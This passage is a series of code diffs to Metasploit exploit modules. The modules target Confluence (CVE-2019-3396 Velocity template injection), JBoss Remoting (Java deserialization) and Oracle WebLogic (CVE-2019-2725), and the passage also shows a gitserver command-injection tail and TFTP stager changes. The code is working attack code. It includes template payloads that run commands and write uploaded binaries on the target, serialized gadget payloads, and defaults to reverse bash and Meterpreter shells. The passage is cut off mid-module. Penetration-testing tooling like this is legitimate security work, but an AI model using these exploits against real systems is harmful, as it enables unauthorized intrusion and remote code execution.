||||
end
|
||||
|
||||
def send_request_exec(repo, args, timeout = 20)
|
||||
send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'exec'),
|
||||
'method' => 'POST',
|
||||
'data' => {
|
||||
'Repo' => repo,
|
||||
'Args' => args
|
||||
}.to_json
|
||||
}, timeout)
|
||||
end
|
||||
|
||||
def send_request_list
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'list'),
|
||||
'method' => 'GET',
|
||||
'vars_get' => { 'cloned' => 'true' }
|
||||
})
|
||||
fail_with(Failure::Unreachable, 'No server response.') unless res
|
||||
fail_with(Failure::UnexpectedReply, 'The gitserver list API call failed.') unless res.code == 200 && res.get_json_document.is_a?(Array)
|
||||
|
||||
res.get_json_document
|
||||
end
|
||||
|
||||
def execute_command(cmd, _opts = {})
|
||||
vprint_status("Executing command: #{cmd}")
|
||||
res = send_request_exec(@git_repo, ['config', 'core.sshCommand', cmd])
|
||||
fail_with(Failure::Unreachable, 'No server response.') unless res
|
||||
unless res.code == 200 && res.body =~ /^X-Exec-Exit-Status: 0/
|
||||
if res.code == 404 && res.get_json_document.is_a?(Hash) && res.get_json_document['cloneInProgress'] == false
|
||||
fail_with(Failure::BadConfig, 'The specified repository has not been cloned.')
|
||||
end
|
||||
|
||||
fail_with(Failure::UnexpectedReply, 'The gitserver exec API call failed.')
|
||||
end
|
||||
|
||||
send_request_exec(@git_repo, ['push', @git_origin, 'master'], 5)
|
||||
end
|
||||
|
||||
end
|
||||
@@ -11,76 +11,83 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::FtpServer
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Atlassian Confluence Widget Connector Macro Velocity Template Injection",
|
||||
'Description' => %q{
|
||||
Widget Connector Macro is part of Atlassian Confluence Server and Data Center that
|
||||
allows embed online videos, slideshows, photostreams and more directly into page.
|
||||
A _template parameter can be used to inject remote Java code into a Velocity template,
|
||||
and gain code execution. Authentication is unrequired to exploit this vulnerability.
|
||||
By default, Java payload will be used because it is cross-platform, but you can also
|
||||
specify which native payload you want (Linux or Windows).
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Atlassian Confluence Widget Connector Macro Velocity Template Injection',
|
||||
'Description' => %q{
|
||||
Widget Connector Macro is part of Atlassian Confluence Server and Data Center that
|
||||
allows embed online videos, slideshows, photostreams and more directly into page.
|
||||
A _template parameter can be used to inject remote Java code into a Velocity template,
|
||||
and gain code execution. Authentication is unrequired to exploit this vulnerability.
|
||||
By default, Java payload will be used because it is cross-platform, but you can also
|
||||
specify which native payload you want (Linux or Windows).
|
||||
|
||||
Confluence before version 6.6.12, from version 6.7.0 before 6.12.3, from version
|
||||
6.13.0 before 6.13.3 and from version 6.14.0 before 6.14.2 are affected.
|
||||
Confluence before version 6.6.12, from version 6.7.0 before 6.12.3, from version
|
||||
6.13.0 before 6.13.3 and from version 6.14.0 before 6.14.2 are affected.
|
||||
|
||||
This vulnerability was originally discovered by Daniil Dmitriev
|
||||
https://twitter.com/ddv_ua.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Daniil Dmitriev', # Discovering vulnerability
|
||||
'Dmitry (rrock) Shchannikov' # Metasploit module
|
||||
This vulnerability was originally discovered by Daniil Dmitriev
|
||||
https://twitter.com/ddv_ua.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Daniil Dmitriev', # Discovering vulnerability
|
||||
'Dmitry (rrock) Shchannikov' # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
'References' => [
|
||||
[ 'CVE', '2019-3396' ],
|
||||
[ 'URL', 'https://confluence.atlassian.com/doc/confluence-security-advisory-2019-03-20-966660264.html' ],
|
||||
[ 'URL', 'https://chybeta.github.io/2019/04/06/Analysis-for-%E3%80%90CVE-2019-3396%E3%80%91-SSTI-and-RCE-in-Confluence-Server-via-Widget-Connector/'],
|
||||
[ 'URL', 'https://paper.seebug.org/886/']
|
||||
],
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Java', { 'Platform' => 'java', 'Arch' => ARCH_JAVA }],
|
||||
[ 'Windows', { 'Platform' => 'win', 'Arch' => ARCH_X86 }],
|
||||
[ 'Linux', { 'Platform' => 'linux', 'Arch' => ARCH_X86 }]
|
||||
'Targets' => [
|
||||
[ 'Java', { 'Platform' => 'java', 'Arch' => ARCH_JAVA }],
|
||||
[ 'Windows', { 'Platform' => 'win', 'Arch' => ARCH_X86 }],
|
||||
[ 'Linux', { 'Platform' => 'linux', 'Arch' => ARCH_X86 }]
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'DefaultOptions' => {
|
||||
'RPORT' => 8090,
|
||||
'SRVPORT' => 8021,
|
||||
'SRVPORT' => 8021
|
||||
},
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => '2019-03-25',
|
||||
'DefaultTarget' => 0,
|
||||
'Stance' => Msf::Exploit::Stance::Aggressive
|
||||
))
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => '2019-03-25',
|
||||
'DefaultTarget' => 0,
|
||||
'Stance' => Msf::Exploit::Stance::Aggressive,
|
||||
'Notes' => {
|
||||
'Stability' => [ CRASH_SAFE ],
|
||||
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
|
||||
'Reliability' => [ REPEATABLE_SESSION ]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptAddress.new('SRVHOST', [true, 'Callback address for template loading']),
|
||||
OptString.new('TARGETURI', [true, 'The base to Confluence', '/']),
|
||||
OptString.new('TRIGGERURL', [true, 'Url to external video service to trigger vulnerability',
|
||||
'https://www.youtube.com/watch?v=kxopViU98Xo'])
|
||||
])
|
||||
OptString.new('TRIGGERURL', [
|
||||
true, 'Url to external video service to trigger vulnerability',
|
||||
'https://www.youtube.com/watch?v=kxopViU98Xo'
|
||||
])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
# Handles ftp RETP command.
|
||||
#
|
||||
# @param c [Socket] Control connection socket.
|
||||
# @param ccs [Socket] Control connection socket.
|
||||
# @param arg [String] RETR argument.
|
||||
# @return [void]
|
||||
def on_client_command_retr(c, arg)
|
||||
def on_client_command_retr(ccs, arg)
|
||||
vprint_status("FTP download request for #{arg}")
|
||||
conn = establish_data_connection(c)
|
||||
if(not conn)
|
||||
c.put("425 Can't build data connection\r\n")
|
||||
conn = establish_data_connection(ccs)
|
||||
if !conn
|
||||
ccs.put("425 Can't build data connection\r\n")
|
||||
return
|
||||
end
|
||||
|
||||
c.put("150 Opening BINARY mode data connection for #{arg}\r\n")
|
||||
ccs.put("150 Opening BINARY mode data connection for #{arg}\r\n")
|
||||
case arg
|
||||
when /check\.vm$/
|
||||
conn.put(wrap(get_check_vm))
|
||||
@@ -93,83 +100,73 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
else
|
||||
conn.put(wrap(get_dummy_vm))
|
||||
end
|
||||
c.put("226 Transfer complete.\r\n")
|
||||
ccs.put("226 Transfer complete.\r\n")
|
||||
conn.close
|
||||
end
|
||||
|
||||
# Handles ftp PASS command to suppress output.
|
||||
#
|
||||
# @param c [Socket] Control connection socket.
|
||||
# @param ccs [Socket] Control connection socket.
|
||||
# @param arg [String] PASS argument.
|
||||
# @return [void]
|
||||
def on_client_command_pass(c, arg)
|
||||
@state[c][:pass] = arg
|
||||
vprint_status("#{@state[c][:name]} LOGIN #{@state[c][:user]} / #{@state[c][:pass]}")
|
||||
c.put "230 Login OK\r\n"
|
||||
def on_client_command_pass(ccs, arg)
|
||||
@state[ccs][:pass] = arg
|
||||
vprint_status("#{@state[ccs][:name]} LOGIN #{@state[ccs][:user]} / #{@state[ccs][:pass]}")
|
||||
ccs.put "230 Login OK\r\n"
|
||||
end
|
||||
|
||||
# Handles ftp EPSV command to suppress output.
|
||||
#
|
||||
# @param c [Socket] Control connection socket.
|
||||
# @param ccs [Socket] Control connection socket.
|
||||
# @param arg [String] EPSV argument.
|
||||
# @return [void]
|
||||
def on_client_command_epsv(c, arg)
|
||||
vprint_status("#{@state[c][:name]} UNKNOWN 'EPSV #{arg}'")
|
||||
c.put("500 'EPSV #{arg}': command not understood.\r\n")
|
||||
def on_client_command_epsv(ccs, arg)
|
||||
vprint_status("#{@state[ccs][:name]} UNKNOWN 'EPSV #{arg}'")
|
||||
ccs.put("500 'EPSV #{arg}': command not understood.\r\n")
|
||||
end
|
||||
|
||||
# Returns a upload template.
|
||||
#
|
||||
# @return [String]
|
||||
def get_upload_vm
|
||||
(
|
||||
<<~EOF
|
||||
$i18n.getClass().forName('java.io.FileOutputStream').getConstructor($i18n.getClass().forName('java.lang.String')).newInstance('#{@fname}').write($i18n.getClass().forName('sun.misc.BASE64Decoder').getConstructor(null).newInstance(null).decodeBuffer('#{@b64}'))
|
||||
EOF
|
||||
)
|
||||
<<~EOF
|
||||
$i18n.getClass().forName('java.io.FileOutputStream').getConstructor($i18n.getClass().forName('java.lang.String')).newInstance('#{@fname}').write($i18n.getClass().forName('sun.misc.BASE64Decoder').getConstructor(null).newInstance(null).decodeBuffer('#{@b64}'))
|
||||
EOF
|
||||
end
|
||||
|
||||
# Returns a command execution template.
|
||||
#
|
||||
# @return [String]
|
||||
def get_exec_vm
|
||||
(
|
||||
<<~EOF
|
||||
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('#{@command}').waitFor()
|
||||
EOF
|
||||
)
|
||||
<<~EOF
|
||||
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('#{@command}').waitFor()
|
||||
EOF
|
||||
end
|
||||
|
||||
# Returns checking template.
|
||||
#
|
||||
# @return [String]
|
||||
def get_check_vm
|
||||
(
|
||||
<<~EOF
|
||||
#{@check_text}
|
||||
EOF
|
||||
)
|
||||
<<~EOF
|
||||
#{@check_text}
|
||||
EOF
|
||||
end
|
||||
|
||||
# Returns Java's getting property template.
|
||||
#
|
||||
# @return [String]
|
||||
def get_javaprop_vm
|
||||
(
|
||||
<<~EOF
|
||||
$i18n.getClass().forName('java.lang.System').getMethod('getProperty', $i18n.getClass().forName('java.lang.String')).invoke(null, '#{@prop}').toString()
|
||||
EOF
|
||||
)
|
||||
<<~EOF
|
||||
$i18n.getClass().forName('java.lang.System').getMethod('getProperty', $i18n.getClass().forName('java.lang.String')).invoke(null, '#{@prop}').toString()
|
||||
EOF
|
||||
end
|
||||
|
||||
# Returns dummy template.
|
||||
#
|
||||
# @return [String]
|
||||
def get_dummy_vm
|
||||
(
|
||||
<<~EOF
|
||||
EOF
|
||||
)
|
||||
<<~EOF
|
||||
EOF
|
||||
end
|
||||
|
||||
# Checks the vulnerability.
|
||||
@@ -179,7 +176,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
checkcode = Exploit::CheckCode::Safe
|
||||
begin
|
||||
# Start the FTP service
|
||||
print_status("Starting the FTP server.")
|
||||
print_status('Starting the FTP server.')
|
||||
start_service
|
||||
|
||||
@check_text = Rex::Text.rand_text_alpha(5..10)
|
||||
@@ -198,9 +195,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
#
|
||||
# @param service_url [String] Address of template to injection.
|
||||
# @return [void]
|
||||
def inject_template(service_url, timeout=20)
|
||||
|
||||
uri = normalize_uri(target_uri.path, 'rest', 'tinymce', '1', 'macro', 'preview')
|
||||
def inject_template(service_url, timeout = 20)
|
||||
uri = normalize_uri(target_uri.path, 'rest', 'tinymce', '1', 'macro', 'preview')
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
@@ -209,23 +205,23 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
'Accept' => '*/*',
|
||||
'Origin' => full_uri(vhost_uri: true)
|
||||
},
|
||||
'ctype' => 'application/json; charset=UTF-8',
|
||||
'data' => {
|
||||
'contentId' => '1',
|
||||
'macro' => {
|
||||
'name' => 'widget',
|
||||
'body' => '',
|
||||
'params' => {
|
||||
'url' => datastore['TRIGGERURL'],
|
||||
'_template' => service_url
|
||||
}
|
||||
'ctype' => 'application/json; charset=UTF-8',
|
||||
'data' => {
|
||||
'contentId' => '1',
|
||||
'macro' => {
|
||||
'name' => 'widget',
|
||||
'body' => '',
|
||||
'params' => {
|
||||
'url' => datastore['TRIGGERURL'],
|
||||
'_template' => service_url
|
||||
}
|
||||
|
||||
}
|
||||
}.to_json
|
||||
}, timeout=timeout)
|
||||
}
|
||||
}.to_json
|
||||
}, timeout)
|
||||
|
||||
unless res
|
||||
unless service_url.include?("exec.vm")
|
||||
unless service_url.include?('exec.vm')
|
||||
print_warning('Connection timed out in #inject_template')
|
||||
end
|
||||
return
|
||||
@@ -234,7 +230,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
if res.body.include? 'widget-error'
|
||||
print_error('Failed to inject and execute code:')
|
||||
else
|
||||
vprint_status("Server response:")
|
||||
vprint_status('Server response:')
|
||||
end
|
||||
|
||||
vprint_line(res.body)
|
||||
@@ -245,14 +241,23 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
# Returns a system property for Java.
|
||||
#
|
||||
# @param prop [String] Name of the property to retrieve.
|
||||
# @return [String]
|
||||
# @return [Array] Array consisting of a result code (Integer) and, if the property could be obtained, the property (String).
|
||||
def get_java_property(prop)
|
||||
@prop = prop
|
||||
res = inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}javaprop.vm")
|
||||
if res && res.body
|
||||
return clear_response(res.body)
|
||||
if res.body.empty?
|
||||
return [2]
|
||||
else
|
||||
prop_to_return = clear_response(res.body)
|
||||
if prop_to_return.blank?
|
||||
return [2]
|
||||
else
|
||||
return [0, prop_to_return]
|
||||
end
|
||||
end
|
||||
end
|
||||
''
|
||||
[1]
|
||||
end
|
||||
|
||||
# Returns the target platform.
|
||||
@@ -299,7 +304,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
# @param new_fname [String] The new file
|
||||
# @return [void]
|
||||
def get_dup_file_code(fname, new_fname)
|
||||
if fname =~ /^\/[[:print:]]+/
|
||||
if fname =~ %r{^/[[:print:]]+}
|
||||
@command = "cp #{fname} #{new_fname}"
|
||||
else
|
||||
@command = "cmd.exe /C copy #{fname} #{new_fname}"
|
||||
@@ -312,8 +317,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
#
|
||||
# @return [String]
|
||||
def normalize_payload_fname(tmp_path, fname)
|
||||
# A quick way to check platform insteaf of actually grabbing os.name in Java system properties.
|
||||
if /^\/[[:print:]]+/ === tmp_path
|
||||
# A quick way to check platform instead of actually grabbing os.name in Java system properties.
|
||||
if tmp_path =~ %r{^/[[:print:]]+}
|
||||
Rex::FileUtils.normalize_unix_path(tmp_path, fname)
|
||||
else
|
||||
Rex::FileUtils.normalize_win_path(tmp_path, fname)
|
||||
@@ -324,57 +329,55 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
#
|
||||
# @return [void]
|
||||
def exploit_as_java
|
||||
res_code, tmp_path = get_tmp_path
|
||||
|
||||
tmp_path = get_tmp_path
|
||||
|
||||
if tmp_path.blank?
|
||||
unless res_code == 0
|
||||
fail_with(Failure::Unknown, 'Unable to get the temp path.')
|
||||
end
|
||||
|
||||
@fname = normalize_payload_fname(tmp_path, "#{Rex::Text.rand_text_alpha(5)}.jar")
|
||||
@b64 = Rex::Text.encode_base64(payload.encoded_jar)
|
||||
@command = ''
|
||||
@fname = normalize_payload_fname(tmp_path, "#{Rex::Text.rand_text_alpha(5)}.jar")
|
||||
@b64 = Rex::Text.encode_base64(payload.encoded_jar)
|
||||
@command = ''
|
||||
|
||||
java_home = get_java_home_path
|
||||
res_code, java_home = get_java_home_path
|
||||
|
||||
if java_home.blank?
|
||||
fail_with(Failure::Unknown, 'Unable to find java home path on the remote machine.')
|
||||
else
|
||||
if res_code == 0
|
||||
vprint_status("Found Java home path: #{java_home}")
|
||||
else
|
||||
fail_with(Failure::Unknown, 'Unable to find java home path on the remote machine.')
|
||||
end
|
||||
|
||||
register_files_for_cleanup(@fname)
|
||||
|
||||
if /^\/[[:print:]]+/ === @fname
|
||||
if @fname =~ %r{^/[[:print:]]+}
|
||||
normalized_java_path = Rex::FileUtils.normalize_unix_path(java_home, '/bin/java')
|
||||
@command = %Q|#{normalized_java_path} -jar #{@fname}|
|
||||
@command = %(#{normalized_java_path} -jar #{@fname})
|
||||
else
|
||||
normalized_java_path = Rex::FileUtils.normalize_win_path(java_home, '\\bin\\java.exe')
|
||||
@fname.gsub!(/Program Files/, 'PROGRA~1')
|
||||
@command = %Q|cmd.exe /C "#{normalized_java_path}" -jar #{@fname}|
|
||||
@command = %(cmd.exe /C "#{normalized_java_path}" -jar #{@fname})
|
||||
end
|
||||
|
||||
print_status("Attempting to upload #{@fname}")
|
||||
inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}upload.vm")
|
||||
|
||||
print_status("Attempting to execute #{@fname}")
|
||||
inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}exec.vm", timeout=5)
|
||||
inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}exec.vm", 5)
|
||||
end
|
||||
|
||||
|
||||
# Exploits the target in Windows platform.
|
||||
#
|
||||
# @return [void]
|
||||
def exploit_as_windows
|
||||
tmp_path = get_tmp_path
|
||||
res_code, tmp_path = get_tmp_path
|
||||
|
||||
if tmp_path.blank?
|
||||
unless res_code == 0
|
||||
fail_with(Failure::Unknown, 'Unable to get the temp path.')
|
||||
end
|
||||
|
||||
@b64 = Rex::Text.encode_base64(generate_payload_exe(code: payload.encoded, arch: target.arch, platform: target.platform))
|
||||
@fname = normalize_payload_fname(tmp_path,"#{Rex::Text.rand_text_alpha(5)}.exe")
|
||||
new_fname = normalize_payload_fname(tmp_path,"#{Rex::Text.rand_text_alpha(5)}.exe")
|
||||
@b64 = Rex::Text.encode_base64(generate_payload_exe(code: payload.encoded, arch: target.arch, platform: target.platform))
|
||||
@fname = normalize_payload_fname(tmp_path, "#{Rex::Text.rand_text_alpha(5)}.exe")
|
||||
new_fname = normalize_payload_fname(tmp_path, "#{Rex::Text.rand_text_alpha(5)}.exe")
|
||||
@fname.gsub!(/Program Files/, 'PROGRA~1')
|
||||
new_fname.gsub!(/Program Files/, 'PROGRA~1')
|
||||
register_files_for_cleanup(@fname, new_fname)
|
||||
@@ -387,22 +390,21 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
print_status("Attempting to execute #{new_fname}")
|
||||
@command = new_fname
|
||||
inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}exec.vm", timeout=5)
|
||||
inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}exec.vm", 5)
|
||||
end
|
||||
|
||||
|
||||
# Exploits the target in Linux platform.
|
||||
#
|
||||
# @return [void]
|
||||
def exploit_as_linux
|
||||
tmp_path = get_tmp_path
|
||||
res_code, tmp_path = get_tmp_path
|
||||
|
||||
if tmp_path.blank?
|
||||
unless res_code == 0
|
||||
fail_with(Failure::Unknown, 'Unable to get the temp path.')
|
||||
end
|
||||
|
||||
@b64 = Rex::Text.encode_base64(generate_payload_exe(code: payload.encoded, arch: target.arch, platform: target.platform))
|
||||
@fname = normalize_payload_fname(tmp_path, Rex::Text.rand_text_alpha(5))
|
||||
@b64 = Rex::Text.encode_base64(generate_payload_exe(code: payload.encoded, arch: target.arch, platform: target.platform))
|
||||
@fname = normalize_payload_fname(tmp_path, Rex::Text.rand_text_alpha(5))
|
||||
new_fname = normalize_payload_fname(tmp_path, Rex::Text.rand_text_alpha(6))
|
||||
register_files_for_cleanup(@fname, new_fname)
|
||||
|
||||
@@ -417,21 +419,24 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
print_status("Attempting to execute #{new_fname}")
|
||||
@command = new_fname
|
||||
inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}exec.vm", timeout=5)
|
||||
inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}exec.vm", 5)
|
||||
end
|
||||
|
||||
def exploit
|
||||
@wrap_marker = Rex::Text.rand_text_alpha(5..10)
|
||||
|
||||
# Start the FTP service
|
||||
print_status("Starting the FTP server.")
|
||||
print_status('Starting the FTP server.')
|
||||
start_service
|
||||
|
||||
target_platform = get_target_platform
|
||||
if target_platform.empty?
|
||||
fail_with(Failure::Unreachable, 'Target did not respond to OS check. Confirm RHOSTS and RPORT, then run "check".')
|
||||
else
|
||||
res_code, target_platform = get_target_platform
|
||||
case res_code
|
||||
when 0
|
||||
print_status("Target being detected as: #{target_platform}")
|
||||
when 1
|
||||
fail_with(Failure::Unreachable, 'Target did not respond to OS check. Confirm RHOSTS and RPORT, then run "check".')
|
||||
when 2
|
||||
fail_with(Failure::NoTarget, 'Failed to obtain the target OS.')
|
||||
end
|
||||
|
||||
unless target_platform_compat?(target_platform)
|
||||
@@ -457,10 +462,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
# Returns unwrapped response.
|
||||
#
|
||||
# @return [String]
|
||||
# @return [String, nil]
|
||||
def clear_response(string)
|
||||
if match = string.match(/#{@wrap_marker}\n(.*)\n#{@wrap_marker}\n/m)
|
||||
return match.captures[0]
|
||||
end
|
||||
string.scan(/#{@wrap_marker}\n(.*)\n#{@wrap_marker}\n/m)&.flatten&.first
|
||||
end
|
||||
end
|
||||
|
||||
@@ -91,7 +91,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
def windows_stager
|
||||
print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
|
||||
execute_cmdstager({ :temp => '.' })
|
||||
tftphost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
|
||||
execute_cmdstager({ temp: '.', tftphost: tftphost })
|
||||
@payload_exe = generate_payload_exe
|
||||
|
||||
print_status("Attempting to execute the payload...")
|
||||
|
||||
@@ -106,7 +106,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
exe_fname = rand_text_alphanumeric(4 + rand(4)) + ".exe"
|
||||
|
||||
print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
|
||||
execute_cmdstager({ :temp => '.' })
|
||||
tftphost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
|
||||
execute_cmdstager({ temp: '.', tftphost: tftphost })
|
||||
@payload_exe = generate_payload_exe
|
||||
|
||||
print_status("Attempting to execute the payload...")
|
||||
|
||||
@@ -0,0 +1,125 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Exploit::CmdStager
|
||||
include Msf::Exploit::JavaDeserialization
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'JBOSS EAP/AS Remoting Unified Invoker RCE',
|
||||
'Description' => %q{
|
||||
An unauthenticated attacker with network access to the JBOSS
|
||||
EAP/AS <= 6.x Remoting Unified Invoker interface can send a
|
||||
serialized object to the interface to execute code on vulnerable hosts.
|
||||
},
|
||||
'Author' => [
|
||||
'Joao Matos <@joaomatosf>', # Discovery
|
||||
'Marcio Almeida <@marcioalm>', # PoC
|
||||
'Heyder Andrade <@HeyderAndrade>' # msf module
|
||||
],
|
||||
'References' => [
|
||||
[ 'URL', 'https://s3.amazonaws.com/files.joaomatosf.com/slides/alligator_slides.pdf']
|
||||
],
|
||||
'DisclosureDate' => '2019-12-11',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['unix', 'linux'],
|
||||
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
|
||||
'Privileged' => false,
|
||||
'Targets' => [
|
||||
[
|
||||
'Unix Command',
|
||||
{
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Type' => :unix_cmd,
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'cmd/unix/reverse_bash'
|
||||
}
|
||||
}
|
||||
],
|
||||
[
|
||||
'Linux Dropper',
|
||||
{
|
||||
'Platform' => 'linux',
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'Type' => :linux_dropper,
|
||||
'CmdStagerFlavor' => [ 'printf' ],
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
|
||||
}
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
|
||||
}
|
||||
)
|
||||
)
|
||||
register_options([
|
||||
Opt::RPORT(4446)
|
||||
])
|
||||
end
|
||||
|
||||
def handshake_data
|
||||
# MAGIC BYTES JAVA SERIALIZATION OBJECT HEADER
|
||||
# AC ED: STREAM_MAGIC. Specifies that this is a serialization protocol.
|
||||
# 00 05: STREAM_VERSION. The serialization version.
|
||||
['aced0005'].pack('H*')
|
||||
end
|
||||
|
||||
def check
|
||||
connect
|
||||
sock.put(handshake_data)
|
||||
data = sock.get_once(16)
|
||||
disconnect
|
||||
return Exploit::CheckCode::Appears if data == handshake_data
|
||||
|
||||
return Exploit::CheckCode::Safe
|
||||
rescue Rex::ConnectionError, Errno::ECONNRESET, ::EOFError => e
|
||||
print_error("Error to connect #{rhost}:#{rport} : '#{e.class}' '#{e}'")
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
# def exploit
|
||||
def execute_command(cmd, _opts = {})
|
||||
java_payload = generate_java_deserialization_for_command('CommonsCollections5', 'bash', cmd)
|
||||
# MAGIC BYTES JBOSS PROTOCOL:
|
||||
# 0x77: TC_BLOCKDATA
|
||||
# 0x01: Length of TC_BLOCKDATA
|
||||
# 0x16: Protocol version 22
|
||||
# 0x79: TC_RESET
|
||||
magic_bytes = ['77011679'].pack('H*')
|
||||
payload = magic_bytes + java_payload.byteslice(4..)
|
||||
connect
|
||||
sock.put(handshake_data)
|
||||
sock.get_once(16)
|
||||
sock.put(payload)
|
||||
disconnect
|
||||
print_good('Successfully sent payload')
|
||||
rescue Rex::ConnectionError, Errno::ECONNRESET, ::EOFError => e
|
||||
fail_with(Failure::Unreachable, e.message)
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
|
||||
case target['Type']
|
||||
when :unix_cmd
|
||||
execute_command(payload.encoded)
|
||||
when :linux_dropper
|
||||
execute_cmdstager
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
@@ -9,62 +9,76 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Powershell
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Oracle Weblogic Server Deserialization RCE - AsyncResponseService ',
|
||||
'Description' => %q{
|
||||
An unauthenticated attacker with network access to the Oracle Weblogic Server T3
|
||||
interface can send a malicious SOAP request to the interface WLS AsyncResponseService
|
||||
to execute code on the vulnerable host.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Andres Rodriguez - 2Secure (@acamro) <acamro[at]gmail.com>', # Metasploit Module
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Oracle Weblogic Server Deserialization RCE - AsyncResponseService ',
|
||||
'Description' => %q{
|
||||
An unauthenticated attacker with network access to the Oracle Weblogic Server T3
|
||||
interface can send a malicious SOAP request to the interface WLS AsyncResponseService
|
||||
to execute code on the vulnerable host.
|
||||
},
|
||||
'Author' => [
|
||||
'Andres Rodriguez - 2Secure (@acamro) <acamro[at]gmail.com>', # Metasploit Module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2017-10271'],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
['CVE', '2019-2725'],
|
||||
['CNVD-C', '2019-48814'],
|
||||
['URL', 'http://www.cnvd.org.cn/webinfo/show/4999'],
|
||||
['URL', 'https://www.oracle.com/technetwork/security-advisory/alert-cve-2019-2725-5466295.html'],
|
||||
['URL', 'https://twitter.com/F5Labs/status/1120822404568244224']
|
||||
],
|
||||
'Privileged' => false,
|
||||
'Platform' => %w{ unix win solaris },
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Unix',
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_bash'}
|
||||
'Privileged' => false,
|
||||
'Platform' => %w[unix win solaris],
|
||||
'Targets' => [
|
||||
[
|
||||
'Unix',
|
||||
{
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
|
||||
}
|
||||
],
|
||||
[ 'Windows',
